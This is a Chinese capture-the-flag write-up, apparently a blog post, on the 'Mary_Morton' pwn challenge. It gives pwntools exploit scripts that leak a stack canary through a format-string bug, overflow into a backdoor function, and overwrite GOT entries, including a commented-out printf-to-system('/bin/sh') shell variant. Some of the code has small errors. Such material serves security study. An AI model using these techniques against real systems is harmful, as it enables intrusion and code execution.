zoukankan      html  css  js  c++  java
  • 『攻防世界』:进阶区 | Mary_Morton

    这道题让我重新学了一遍格式化字符串漏洞,自学真的太顶了。

    checksec:开启了canary

        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    checksec

    IDA查看程序逻辑:

    void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
    {
      const char *v3; // rdi
      int v4; // [rsp+24h] [rbp-Ch]
      unsigned __int64 v5; // [rsp+28h] [rbp-8h]
    
      v5 = __readfsqword(0x28u);
      sub_4009FF();
      puts("Welcome to the battle ! ");
      puts("[Great Fairy] level pwned ");
      v3 = "Select your weapon ";
      puts("Select your weapon ");
      while ( 1 )
      {
        while ( 1 )
        {
          sub_4009DA(v3);
          v3 = "%d";
          __isoc99_scanf("%d", &v4);
          if ( v4 != 2 )
            break;
          sub_4008EB();
        }
        if ( v4 == 3 )
        {
          puts("Bye ");
          exit(0);
        }
        if ( v4 == 1 )
        {
          sub_400960();
        }
        else
        {
          v3 = "Wrong!";
          puts("Wrong!");
        }
      }
    }
    main

    主程序提供两种攻击方法——栈溢出和格式化字符串漏洞。这里提到一个关于canary的概念,canary是系统产生的一个随机数,在程序开始和结束进行检查,如果栈溢出导致canary变动则程序崩溃。

    sub_4008EB():方法1是利用sub_4008EB函数泄露出canary,得到canary后在payload中将原先canary的位置值保持不变即可成功控制程序执行。

    unsigned __int64 sub_4008EB()
    {
      char buf; // [rsp+0h] [rbp-90h]
      unsigned __int64 v2; // [rsp+88h] [rbp-8h]

      v2 = __readfsqword(0x28u);
      memset(&buf, 0, 0x80uLL);
      read(0, &buf, 0x7FuLL);
      printf(&buf, &buf);
      return __readfsqword(0x28u) ^ v2;
    }

    查看buf到canary,v2的距离:0x90 - 0x08 = 0x88

    -0000000000000090 buf             db ?
    -000000000000008F                 db ? ; undefined
    -000000000000008E                 db ? ; undefined
      ············                       ··········
    -000000000000000A                 db ? ; undefined
    -0000000000000009                 db ? ; undefined
    -0000000000000008 var_8           dq ?

    接下来调试程序得到offset为0x07 - 0x01:

    Welcome to the battle ! 
    [Great Fairy] level pwned
    Select your weapon
    1. Stack Bufferoverflow Bug
    2. Format String Bug
    3. Exit the battle
    >2
    >aaaaaaaaaaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
    aaaaaaaaaaaa.ffffd060.0000007f.f7b156d0.f7dd38c0.00000000.61616161.61616161.30252e78

    接下来构造payload:

    payload = '%' + str(0x88 / 0x08 + (0x07 - 0x01)) + '$p' //偏移的单位是地址的长度,64位环境下需要0x88/0x08,而后面的0x06就是offset了

    后门函数地址:0x4008DA,溢出时候使用即可。

    方法1:exp>

    from pwn import *
    
    io = process('./Mary_Morton')
    
    def fun1(input)
        io.recvuntil("3. Exit the battle")
        io.sendline(str(1))
        io.sendline(input)
    
    def fun2(input)
        io.recvuntil("3. Exit the battle")
        io.sendline(str(2))
        io.sendline(input)
    
    flag_addr = 0x4008DA
    fun2("4%23$p")
    io.recvline()
    io.recv(1)
    canary = io.recv(18)[2:18]
    canary_int = int(canary,16)
    fun1("A"*0x88 + p64(canary_int) + p64(0) + p64(flag))
    io.interactive()

    下面有网上湿父的另外两种不同的方法解决这题

     方法2:在 C 语言中,没有开启 RELRO 保护的时候,GOT 表项可以被修改,当我们修改某个 GOT 表项的时候,比如把 printf 的 GOT 表项修改成 system 的地址,那执行 printf 的时候实际上是执行 system 的函数

    选择2,利用格式化字符串将printf的got地址修改为system的plt地址,再次输入2,输入‘/bin/shx00’,相当于执行system(‘/bin/shx00’)

    方法3:利用格式化字符串将exit的got地址修改为后门函数的地址,再选择3,调用修改后的exit函数。

    from pwn import *
    
    #远程执行
    io = remote("",)
    context.update(arch = 'i386',os = 'linux')
    
    #调用使用
    #context.log_level= "debug"
    
    #def debug(cmd=""):
    #    gdb.attach(io.cmd)
    
    #cmd = "b *0x400930
    "
    #cmd += "b *0x400944
    "
    #debug(cmd)
    
    ```
    #使用字符串“AAAA%P.%P.%P.%P.%P.%P.%P.%P.%P.%P”打印栈上的信息
    #找到0x4141414141414141(AAAAAAAA)在第六个位置,确定栈的offset为6
    #构造payload,由于payload的输入地址在后面(加入放在前面,先读入的会是x30x10x60x00,就会造成x00截断)
    #“a%4195999c%8$lln”这些输入数据占用了16个字节,所以最终的offset是8
    #offset = 8
    ···
    
    #方式2:输入2,利用格式化字符串将printf的got地址修改为system的plt地址,再次输入2,输入‘/bin/shx00’,相当于执行system(‘/bin/shx00’)
    #print_got = 0x00601030
    #system_plt = 0x004006A0
    
    #方式3:输入2,利用格式化字符串将exit的got地址修改为sub_4008DA后门函数地址(该函数可以直接执行cat ./flag),再次输入3,调用exit函数实际调用后门函数
    exit_got = 0x00601060
    catflag_plt = 0x004008DA
    
    io.recvuntil('battle 
    ')
    io.sendline('2')
    
    #方式2构造的payload
    #payload = “a%”     #第一个a用来使地址前面的数据对齐
    #payload += str(system_plt - 1)     #写入的字节数,注意前面有一个a,需要-1
    #payload += "c%8$lln"                  #注意是lln,一次性写入
    #payload += p64(printf_got)          #被写入的地址
    
    #方法3构造的payload
    payload = “a%”                         #第一个a用来使地址前面的数据对齐
    payload += str(catflag_plt -1)      #写入的字节数,注意前面有一个a,需要-1
    payload += "c%8$lln"                 #注意是lln,一次性吸入
    payload += p64(exit_got)           #被写入的地址
    
    io.sendline(payload)
    
    #方式2执行的交互
    #io.recvuntil('battle 
    ')
    #io.sendline('2')
    #io.sendline('/bin/shx00')
    
    #方式3执行的交互
    io.recvuntil('battle 
    ')
    io.sendline('3')
    
    io.interactive()
    exp2

    这里再补充一个非常方便的函数

    fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

     第一个参数表示格式化字符串的偏移;

    第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: system_Address};本题是将0804a048处改为0x2223322

    第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。fmtstr_payload函数返回的就是payload

  • 相关阅读:
    15 个 Android 通用流行框架大全
    RecycleViewScrollHelper--RecyclerView滑动事件检测的辅助类
    RecyclerView的滚动事件分析
    Fresco框架SimpleDraweeView控件的简单使用
    Calling C++ code from C# z
    DevExpress控件使用小结 z
    DevExpress 中根据数据库字典动态生成卡式菜单 z
    EasyHook远注简单监控示例 z
    dll打包进需要发布的exe z
    put a ContextMenu into the header of a TabPage z
  • 原文地址:https://www.cnblogs.com/Zowie/p/13495513.html
Copyright © 2011-2022 走看看